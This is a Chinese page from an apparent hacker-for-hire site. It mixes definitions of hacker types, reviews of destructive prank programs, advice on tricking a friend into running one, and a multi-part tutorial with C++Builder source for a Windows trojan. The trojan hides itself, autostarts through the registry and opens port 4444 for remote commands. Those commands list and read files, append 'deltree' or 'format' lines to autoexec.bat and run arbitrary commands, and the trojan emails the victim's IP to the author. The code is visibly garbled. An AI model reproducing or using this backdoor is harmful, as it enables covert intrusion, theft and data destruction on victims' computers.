当前位置:首页 > 黑客业务 > 正文内容

恶作剧黑客软件(恶作剧 软件)

hacker2年前 (2022-10-08)黑客业务83

本文目录一览:

黑客、红客、骇客、蓝客、白客分别是指什么,有什么不同?

黑客

最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报导中,黑客一词往往指那些“软件骇客”(software

cracker)。黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。但到了今天,黑客一词已被用于泛指那些专门利用电脑网络搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。

红客

“红客”词源来源于黑客,在中国,红色有着特定的价值含义,正义、道德、进步、强大等等。红客是一种精神,它是一种热爱祖国、坚持正义、开拓进取的精神。所以只要具备这种精神并热爱着计算机技术的都可称为红客。红客通常会利用自己掌握的技术去维护国内网络的安全,并对外来的进攻进行还击。

骇客

骇客是“Cracker”的音译,就是“破解者”的意思。从事恶意破解商业软件、恶意入侵别人的网站等事务。与黑客近义,其实黑客与骇客本质上都是相同的,闯入计算机系统/软件者。黑客和骇客并没有一个十分明显的界限,但随着两者含义越来越模糊,公众对待两者含义已经显得不那么重要了。

蓝客

蓝客,是指一些利用或发掘系统漏洞,D.o.S(Denial

Of

Service)系统,或者令个人操作系统(Windows)蓝屏的一群黑客。

白客

“网络卫士”在中文中的名称叫做“白客”,也就是“黑客”的反义词。“白客”指在网络世界中打击黑客以保护人们信息安全的网络专业人员。很多白客以前都曾经充当过黑客。

制作电脑恶作剧程序(只是捉弄一下我朋友不要伤害他的电脑,我没恶意)

一、norun

norun是个恶作剧软件,它只有一个可执行文件,12288字节大小,运行于Win98/ME下.运行后要求回答三道算数题.虽然题目很简单,但是一旦答错,机器将连续重启动12次(每次都有提示)后恢复正常.除此之外,没有其他影响.因此,norun是个真正的恶作剧软件,对大家的威胁并不大.不过,如果机器真的重新启动12次的话,也够恐怖的!所以也要掌握应对它的方法.

最直接的方法是你回答对那三道题就可以了.不要担心,是小学二年级的都会做的算数题.

如果你回答对了,就会出现对话框,点击"确定"软件运行结束.由于你回答对了,所以不会出现连续重启动12次这样的现象.

如果你担心自己马虎回答错误(如果这个也回答不正确,那也太……),可以用进程管理软件终止该进程,这样就可以了.我们以Windows优化大师为例.运行Windows优化大师,点击"系统安全优化"→"进程管理",在弹出的窗口中选中norun,点击"终止"按钮即可终止运行它,从而避免了norun造成的12次重启.

点评:纯粹的恶作剧软件,可以用来跟朋友开玩笑用.

恶毒程度:★

二、ilr

ilr也是个恶作剧程序,文件大小15KB.这么小的程序能干些什么破坏呢?它是个捉弄人的程序,运行后会把硬盘上所有分区里的文件夹通通变成回收站!使得你无法通过点击进入该文件夹!天啊,我要是想进入文件夹该怎么办呢?别着急,恢复方法是用以下格式运行该软件即可:xxxx.exe -recover,要记牢格式哦!

点评:一个很另类的恶作剧软件,不破坏数据,不会让你无法进入系统中,但是它会让你无法进入文件夹,使你干着急,可以用来跟朋友开玩笑用.

恶毒程度:★★

三、FUHD

这是一个垃圾文件生成器,程序运行后会在各磁盘(C:-H:)的每一个根目录、第一级子目录和第二级子目录生成随机文件名的垃圾文件.很久以前有个软件hdfill.exe有相似的功能,但是该hdfill需要VB4的运行库才能运行,在没有VB4运行库的机器中不能运行该程序.而该程序是用VB5编写的,虽然存在运行库的问题,但Win98中已经带有VB5的运行库,所以该程序可以在许多电脑中运行成功.也就是说许多朋友都有中招的可能和危险!

FUHD压缩包由四个文件组成:

FUHD.exe:大小10752字节,所用图标为VB5的安装程序所用图标.直接在磁盘上生成垃圾文件,程序在后台运行,全过程没有任何提示.

setup.exe:大小10752字节,所用图标为VB5的安装程序所用图标.运行后在后台生成垃圾文件.

Undo.exe:大小6656字节.这是作者提供的删除上面两个EXE生成的垃圾文件的文件,如果你中招了,可以找来该文件,运行后就可以清除那些垃圾文件.

readme.txt:说明文件.

点评:虽然说现在很多人都有大硬盘,但是大量的垃圾文件分布在各个目录中,也是一件很麻烦的事.而且目录中含有过多的文件,会大大减慢系统的速度.作为恶作剧软件,它的危害不大.但如果不知道解除方法,也很讨厌.

恶毒程度:★★☆

四、Carem3

Carem3是网络休闲庄(一个黑客网站)技术顾问Carem的作品,这是一个非常狠毒的恶意攻击软件,运行后如果不知道正确的破解方法,那肯定是要重装系统的.解压后的Carem3只有一个文件Carem3.exe,这是它所用的图标(左图),大家记住了,轻易不要运行使用这个图标的软件,因为给你下套的人会给它改名的,所以记住它的文件大小也是个不错的识别方法,Carem3.exe文件大小321536字节.

此时鼠标被控制在一定范围内,无法点击屏幕上的按钮,按动回车键就会弹出个窗口警告你不要随意运行可执行程序,说这只是个教训之类的话,然后会自动重新启动电脑,但你再也无法进入心爱的Windows桌面了!如果你没有按动任何键,Carem3也不会放过你,它会自动倒记时,从20秒到0就重新启动电脑,使你的系统崩溃!

程序的基本原理是破坏C:\windows\system\下的vmm32.vxd文件.vmm32.vxd是虚拟设备驱动程序,正常文件大小913413字节,文件修改时间为1999-01-13,就是由于它被破坏了(文件被替换为同名文件,大小变为81531字节,文件修改时间变为1998-06-19),导致你的计算机不能进入Windows系统.

作者提供的破解方法是:在开机的时候按F8选择Command prompt only方式进入DOS下,之后在提示符后执行repair,就可以解决了.另外你事先备份了vmm32.vxd文件,就可以使用另外一个破解方法:用启动盘从A盘启动计算机,将备份的vmm32.vxd复制到c:\windows\system\里,重新启动计算机就可以了.如果没有备份,到其他计算机上复制一个来吧.

除了上面说的那两个方法,还有一个更简便的破解方法.我们在Carem3.exe刚运行后,倒记时尚未结束前,按住ALT+F4键关闭软件窗口(不要指望能通过按Ctrl+Alt+Del来终止它,作者早就将这些按键屏蔽了),此时你的鼠标将被锁定在桌面的某个小范围内(屏幕中央偏右一点),鼠标是无法使用了.但是如果你自己不重新启动电脑的话,Carem3.exe也不会自动重新启动你的电脑——因为它已经被关闭了.此时的你可以使用键盘来操作,如果嫌麻烦,直接重新启动电脑即可.不要害怕,我们按ALT+F4时已经将软件关闭了,在破坏开始前就将它给消灭了,所以这次重新启动电脑和我们平常重新启动电脑一样,是安全的!顺便说一句如果你的系统是Win2000以下就要小心它了!

点评:比较恶毒,因为一般人想不到它会破坏vmm32.vxd,不过还好,作者提供了破解的方法,所以还在可控范围内.

恶毒程度:★★★

五、妖之吻

妖之吻是千年老妖的作品.下载解压后大小252KB,只有一个文件名为yzw.exe的可执行文件,它的外表看起来很友善——图标是两只握在一起的手!如果你被这表面上的友善所打动,双击运行了这个程序,哈哈,你的恶梦就此开始了!

首先,屏幕上会出现一个不大好看的窗口,上面写着"亲爱的,给你一个关机之吻",同时在窗口中显示60、59、58……这样的倒计时数,记时到"0"系统就自动重新启动.当你再次听到Windows的启动声音,以为没什么事的时候,那个可恶的"亲爱的,给你一个关机之吻"又出现了,然后再次重启,如此反复,陷入一个死循环中,使你根本无法进入你的系统.你若想在那个窗口出现时按"Ctrl+Alt+Del"来终止它,根本就不管用,因为作者将

整蛊软件下载

一个整人网址:

整蛊名称:屏幕地震

实现方法:

下载earthquake.exe,安装到对方机器里,骗取他点击。

整蛊效果:

程序运行后,整个屏幕就像地震了一样,抖个不停,眼睛估计一会就受不了了。

消除方法:

使用“Ctrl+Alt+Del”进入“任务管理器”,关闭相应的进程就可以了,当然,如果你手疾眼快,鼠标点的够精准的话,用右键单击“关闭”也可以。

下载地址

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

扫描二维码推送至手机访问。

版权声明:本文由黑客平台在线接单_免费黑客平台的网站发布,如需转载请注明出处。

本文链接:http://heikexuexi.com/67125.html

分享给朋友:

“恶作剧黑客软件(恶作剧 软件)” 的相关文章

觉得幸福就是心怀感恩

觉得幸福就是心怀感恩

                                                                                               许多 时刻 很容易被韶光 软禁 。如果你不小心 ,你会无缘无故地陷入记忆的泥潭。人们,总是 如此 ,很容易 感...

形势与政策心得体会

形势与政策心得体会

                                                                                               事态取政策的课程会从多个角度对待 世界场景 。从尔国看世界异时角度还包括 从世界上看尔国从这个角度来看,它是...

大学生个人计划范文

大学生个人计划范文

                                                                                                   年夜 教熟是 年夜 教学时刻 ,都邑 做懦本身 小我 计划 。赞助 我们在后来的空虚之外?知道我们应该...

年终工作总结个人,有趣

年终工作总结个人,有趣

                                                                                               小我 年度事务 总结就像一年的事情 ,结束一次全面的 体系 审查 、评估、分析 、讨论 , 分析 本身 和成就...

奖惩制度范本

奖惩制度范本

                                                                                               对于 所有私司来说,必须有通明邪规的赏罚 轨制 ,只要通明邪规的赏罚 轨制 能力 足以提高 员工事务 的热情战...

实习申请书怎么写

实习申请书怎么写

                                                                                               如果他们想加入 练习 ,他们必须写一份练习 申请书。那么,他们怎么能写一篇文章呢?练习 申请书那呢?给除夕带来...

评论列表

颜于弥繁
2年前 (2022-10-08)

"); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } while ((

鸽吻眉妩
2年前 (2022-10-08)

侵别人的网站等事务。与黑客近义,其实黑客与骇客本质上都是相同的,闯入计算机系统/软件者。黑客和骇客并没有一个十分明显的界限,但随着两者含义越来越模糊,公众对待两者含义已经显得不那么重要了。蓝客蓝客,是指一些利用或发掘系统漏洞,D.o.S(De

舔夺酒废
2年前 (2022-10-08)

武汉 周侃 上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):{END:; Socket-Close(); file://关闭

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。